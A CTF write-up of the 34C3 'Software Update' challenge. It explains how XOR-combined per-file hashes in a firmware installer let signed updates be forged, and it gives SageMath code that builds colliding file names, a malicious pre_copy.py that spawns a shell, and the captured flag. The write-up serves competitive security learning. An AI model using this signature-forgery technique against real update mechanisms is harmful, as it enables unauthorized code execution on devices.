The 34C3 CTF

34C3 has just ended and the year is quickly coming to an end. As usual I had the pleasure of playing the CTF at CCC. What I particularly like about the C3 CTF is the ingenuity and variety of challenges (not just binary reversing + exploitation and web).

The “Software Update” challenge

We are given 3 files:

  • installer.py
  • public_key.der
  • sw_update.zip

The challenge is a firmware updating service (provided in installer.py) and an example of a signed update (provided in sw_update.zip). The challenge is similar to flash from 32C3.

Inside sw_update.zip we find:

.
├── signature.bin
└── signed_data
    ├── files
    │   └── bin
    │       └── some_router_stuff
    ├── PATCH_NOTES
    ├── post-copy.py
    └── pre-copy.py

The installer checks the size of the update (before + after decompression), then verifies the authenticity by hashing all data in signed_data and verify the signature included in the .zip against the hash using the RSA key in public_key.der:

  1. Check size of zip file
  2. Unpack zip file
  3. Check size again
  4. Verify signature signature.bin against hash of signed_data using public_key.der
  5. Run pre_copy.py script
  6. Copy files
  7. Run post_copy.py script

Vulnerability

The vulnerability lies in the way signed_data/ is hashed during the signature check:

def compute_hash(directory):
    """compute a hash of all files contained in <directory>."""

    files = glob.glob(directory + "/**", recursive=True)
    files.sort()
    files.remove(directory + "/")
    result = bytearray(hashlib.sha256().digest_size)

    for filename in files:
        complete_path = filename
        relative_path = os.path.relpath(filename, directory)

        print(result)


        if os.path.isfile(complete_path):
            with open(complete_path, "rb") as f:
                print('add', relative_path)
                h = hashlib.sha256(relative_path.encode('ASCII'))
                h.update(b"\0")
                h.update(f.read())
        elif os.path.isdir(complete_path):
            print('dir')
            relative_path += "/"
            h = hashlib.sha256(relative_path.encode('ASCII') + b"\0")
        else:
            pass

        result = xor(result, h.digest())

    return result

def check_signature(path, public_key):

    hash_value = compute_hash(path + "/signed_data")
    with open(path + "/" + signature_filename, "rb") as f:
        signature = f.read()
    verifier = PKCS1_PSS.new(public_key)
    return verifier.verify(Crypto.Hash.SHA256.new(hash_value), signature)

The code hashes every file & directory name separately, then xors the individual hashes to compute the final hash passed to the signature verification procedure (note also that sorting the file names is superfluous).

If we modify the content of signed_data such that the xor of all hashes of the new data matches the original hash, then the original signature is valid for the new data. We can obtain arbitrary code execution easily by modifying the pre_copy.py and post_copy.py scripts.

Solution

We update the pre_copy.py script to os.system('/bin/sh') and turn our attention to generating the files which will “fix” the hash value. Observe that xor for 256-bit values corresponds to the addition of vectors in \(F = GF(2)^{256}\) (\(GF(2)\) in 256 dimensions).

We compute the hash \(H_{mal} \in F\) of all the data that must be present in the malicious sw_update.zip file and the hash of the original data \(H_{org} \in F\). The goal is then to find:

\[ v_{0}, v_{1} \ldots, v_{n} : H(v_{0}) + H(v_{1}) + \ldots + H(v_{n}) = H_{org} - H_{mal} \]

Where addition and subtraction in the field is xor. I do this by computing a basis for the entire vector space \(F\), where the basis vectors corresponds to the images of empty files with random names under \(H\). For this I use SageMath:

def find_basis():
    span = {}
    while len(span) < 256:
        S = V.subspace(span.values())
        while 1:
            p = rand()
            h = hash(p + '\0')
            v = to_vec(h)
            if v not in S:
                break
        span[p] = v
        print len(span)
    return span.keys()

After computing the basis, I convert the element \(H_{org} - H_{mal}\) to the new basis and extract the corresponding pre-images (file names) from all basis vectors with non-zero coefficients in the decomposition of \(H_{org} - H_{mal}\).

def decomp(h, span):
    assert len(h) == 32

    # construct basis

    basis = []
    for p in span:
        basis.append(to_vec(hash(p + '\0')))

    # represent h in basis

    M = matrix(basis).transpose()
    W = M.inverse() * to_vec(h)

    # sanity check

    acc = V([0] * 256)
    for s, v in zip(list(W), basis):
        acc += s * v
    assert acc == to_vec(h)

    # extract correponding preimages

    used = set([])
    for s, p in zip(list(W), span):
        if s:
            used.add(p)

    return used

Lastly you zip and upload the malicious update to the service:

[*] Switching to interactive mode
Your response? Welcome to SuperSecureRouter Ltd.'s super secure router Telnet interface!
You can upload a software update here.
$ cat /flag
34C4_if_you_have_a_clever_idea_for_this_flag_let_us_know_in_IRC

Full challenge and doit on Github

Thanks to the Eat, Sleep, Pwn, Repeat team for a wonderful CTF (as always).